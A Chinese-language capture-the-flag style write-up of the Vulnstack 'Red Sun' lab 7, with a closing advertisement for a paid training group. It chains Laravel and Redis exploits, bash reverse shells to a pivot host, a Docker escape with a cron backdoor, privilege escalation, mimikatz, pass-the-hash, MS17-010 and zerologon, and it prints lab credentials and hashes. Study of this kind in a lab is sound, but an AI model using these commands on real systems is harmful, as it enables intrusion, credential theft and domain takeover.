红日靶场七-Writeup
2023-4-27 21:11:55 Author: Z2O安全攻防(查看原文) 阅读量:202 收藏

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

文章正文

写在前面

    红日靶场七涉及知识点:redis未授权访问、docker容器逃逸、MS17010、代理链、laravel漏洞、zerologon等。


靶场下载地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

拓扑

WP

通过58.1.3跳板机对入口点机器进行扫描

CVE-2021-3129 Laravel漏洞利用脚本利用尝试,使用laravel-exp.py工具,注意利用此工具写的webshell需要哥斯拉3.0以下版本。权限较低

python laravel-exp.py http://192.168.55.1.4:81

连上去以后发现很多指令不能执行,发现为docker环境。尝试反弹shell到本机,失败。

先整redis,可以连接

写入公钥(如果无法写入成功,可能是因为redis没有使用root用户启动,需要重新配置靶场)

python RedisGetshell.py -H 10.55.1.4

写入后用私钥连接

上传fsan扫描,52.20也有一个laravel,可能是nginx代理

查看52.10配置文件,应该是nginx代理出来的,我们52.10是在nginx上。

正向代理把52.10的流量代理出来。在52.10机器上上传frps和frpc

frpc.ini

[common]server_addr = 127.0.0.1server_port = 7000
# enable logslog_file = ./frpc.logtrace, debug, info, warn, errorlog_level = infolog_max_days = 3
[proxy]type = tcpremote_port = 6000plugin = http_proxyplugin_http_user = abcplugin_http_passwd = abc
[socks5_proxy]type = tcpremote_port = 6005plugin = socks5plugin_user = abcplugin_passwd = abc

frps.ini

[common]bind_port = 7000

proxifier连接,代理出来后可以访问52.20的8000端口

连接52.20的laraval马子,没法交互,反弹shell到52.10

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/8088 <&1'

Docker环境尝试容器逃逸,但是前提需要root权限才能访问所有文件。尝试CVE-2021-4034提权,上传文件到52.10,python开启共享。52.20下载。无法利用

尝试sudo提权

尝试suid提权

find / -user root -perm -4000 -print 2>/dev/null

发现shell文件有sudo权限,shell文件其实就是执行了ps指令,尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell。

### 方法一cd /tmp #因为tmp权限为777echo "/bin/bash" > pschmod 777 psecho $PATH export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序cd /home/jobs./shell
### 方法二:将/bin/bash的目录全都复制到/tmp/ps

至此获取了20中一个docker环境的root权限,再尝试把52.20 root的命令行返回到52.10获得交互式命令行

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/8087 <&1'

直接利用当前指令反弹到52.10,没有接受到

需要关闭掉8088这个反弹shell,8087才会接收到

root权限下尝试docker逃逸

mkdir testfdisk -lmount /dev/sda1 testcd test

写入任务计划,都写进去了,但是没接收到反弹shell

echo 'bash -c "bash -i >& /dev/tcp/192.168.52.10/8086 0>&1"' >test.shecho '*/1 * * * * root  /test.sh' >> /home/jobs/test/etc/crontabecho '*/1 * * * * root  /test.sh' >> /home/jobs/test/var/spool/cron/root

尝试写入公钥,52.20没有/root/.ssh文件,发现home下存在用户ubuntu

尝试将公钥写入ubuntu用户

echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIyWnF46J385jnabqHmgx0/DbRD0Kixpc9tqo9e4bCJEeVzxGNrHnS3vhsQAFYFGZ43UGg2NE6iAgHlohvgBs8UGiuphJKcso6oaX1quifl8b4igO3M6sBSnlgOMZtjD/tdGCZ7TTMnSy1GqLB6BPZ40I5moh23cMtwM3zCXbKH5K7Xd2uHgTqH1VIExchUMAmQgGvqVP7Cdo3AXqHrnQv/gpt8zL+XX0VHCyahtfCCY3mAaETA1lwmiqWlSmv5z9D7c7N2xbvVhnOdnyqUKGSWjpS1w3qEP25pi3T61wjEhqyayv89Cex48bgjjgzej4XRXAAX5IyqE9Hlissvvk4CJgjDWuf/zfA9r+LV9JAISMbnUV706Rucp+GeUBzDbjMUGZ6AFiQyeWMi2YVAym64M7aI2GCYlEQihH/Coh3ilgF1G1jOZLJPGTexLvgWZwQN5GabCFaP3CbX8IlqANuSQNmoLyo/ATwNam3rryMJDgFOYb5JE8= [email protected]>> authorized_keys

然后就可以用id_rsa连接了。至此完成了52.10可以通过id_rsa登录52.20

继续尝试将ubuntu用户提权,再用一下上面的CVE-2021-4034,52.10上开启python共享

52.20利用curl下载,利用

curl -O http://192.168.52.10:8000/CVE-2021-4034.zipunzip CVE-2021-4034.zipcd /CVE-2021-4034make./cve-2021-4034

信息收集,发现新ip段

上传工具扫描,出现93.30(DC)和93.40(PC2)终于到第三层了。

同理在52.20上传代理工具,开启主动代理,本机(21.12)使用代理链连接。

测试代理,可以在跳板机访问到52.30

扫描通达OA漏洞,发现有很多漏洞

尝试利用第一个漏洞,漏洞利用成功

使用蚁剑连接,连接key为x

添加用户

net user nino [email protected] /addnet localgroup administrators nino /add

尝试RDP连接,需要开启多用户登录

上传mimikatz

mimikatz_64.exe ""privilege::debug"" ""sekurlsa::logonPasswords"" exit >> log.txtmimikatz_64.exe ""privilege::Debug"" ""ts::multirdp""

WHOAMIANONY\Administrator  Whoami2021   //域管理员WHOAMIANONY\bunny  Bunny2021

开启多用户后可rdp登录

使用wmiexec成功pth到93.30 DC。52.30上直接有域管的明文,有点戛然而止的感觉,再尝试一下别的攻击方式

wmiexec.exe -hashes :ab89b1295e69d353dd7614c7a3a80cec WHOAMIANONY/[email protected]

Sam-the-admin域内提权CVE-2021-42278 and CVE-2021-42287,失败,,应该是打包的问题。

sam_the_admin.exe "whoamianony/bunny:Bunny2021" -dc-ip 192.168.93.30 -shell
noPac.exe scan -domain whoamianony.org -user bunny -pass 'Bunny2021'

MS17010

use auxiliary/admin/smb/ms17_010_commandset COMMAND net userset RHOST 192.168.93.30exploit

利用成功,后续利用新建管理员账户

93.40不能利用

zerologon,存在漏洞。因为环境问题,把python文件都打包成exe了。

python3 zerologon_tester.py <dc-hostname> <dc-ip>zerologon_tester.exe DC 192.168.93.30

###制空set_empty_pw.exe DC 192.168.93.30

###dump hashessecretsdump.exe whoamianony.org/[email protected] -no-pass

到这里漏洞利用步骤已经完成,但DC$无hash会导致机器脱域,接下来需要PTH连接上DC,dump本地hash来获取DC$hash。进而还原哈希

wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec [email protected]### 连接默认在C盘下,直接reg导出会进入交互界面卡死。解决方法①进入一个可写的目录,比如desktop ②在reg导出语句结尾加/y 如reg save HKLM\SYSTEM system.save /y  表示强制覆盖已存在文件,避免目标机C:\目录下存在同名文件,命令会询问是否覆盖,半交互环境程序会卡住  reg save HKLM\SYSTEM system.save /y  reg save HKLM\SAM sam.save /y  reg save HKLM\SECURITY security.save /y### 下载文件到本地,如果直接使用get无法识别改指令,使用lget  lget system.save  lget sam.save  lget security.save### 清理痕迹  del /f *.save

### 获取DC$哈希secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL

#重置reinstall_original_pw.exe DC 192.168.93.30 81609d698de5bc4bdec8729afaf0a807#验证secretsdump.exe whoamianony.org/[email protected] -just-dc -no-passsecretsdump.exe -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec [email protected]

后续会在圈子中发布靶场,以及其他内网靶场。

结尾

建了个圈子,目的是为了让对师傅对掌握的技术系统学习、查漏补缺,大致规划了一下,提供以下内容:

1、每周发布学习任务,由浅入深,从常见的漏洞原理、利用,到WAF绕过、钓鱼与免杀,再到Linux/Windows内网、域渗透,层层递进。会发布相应的参考资料,成员自行学习实践,并会根据每周任务选取1-3位完成优秀的成员,返还入圈费用。

2、日常分享优质学习资源与攻防渗透技巧,包括但不限于渗透tips、教程、手册、学习路线、书籍PDF。

3、遇到问题可以快速提问、交流讨论,共同学习。

PS: 

1.本圈子面向入行安全不久/技术不全面/基础不扎实的师傅。
2.  五一假期之后正式开始,在此之前加入享受七折优惠,一共60个名额 (41/60

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档

往期文章

我是如何摸鱼到红队的

命令执行漏洞[无]回显[不]出网利用技巧

MSSQL提权全总结

Powershell 免杀过 defender 火绒,附自动化工具

一篇文章带你学会容器逃逸

域渗透 | kerberos认证及过程中产生的攻击

通过DCERPC和ntlmssp获取Windows远程主机信息


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247494637&idx=1&sn=05729a8c3efec6cde98f2006ac023061&chksm=ceab00adf9dc89bbd21c2f0a5d0b1e0ac86ae2e2711f0469a3caf71618187cedb42b89c9a62c#rd
如有侵权请联系:admin#unsafe.sh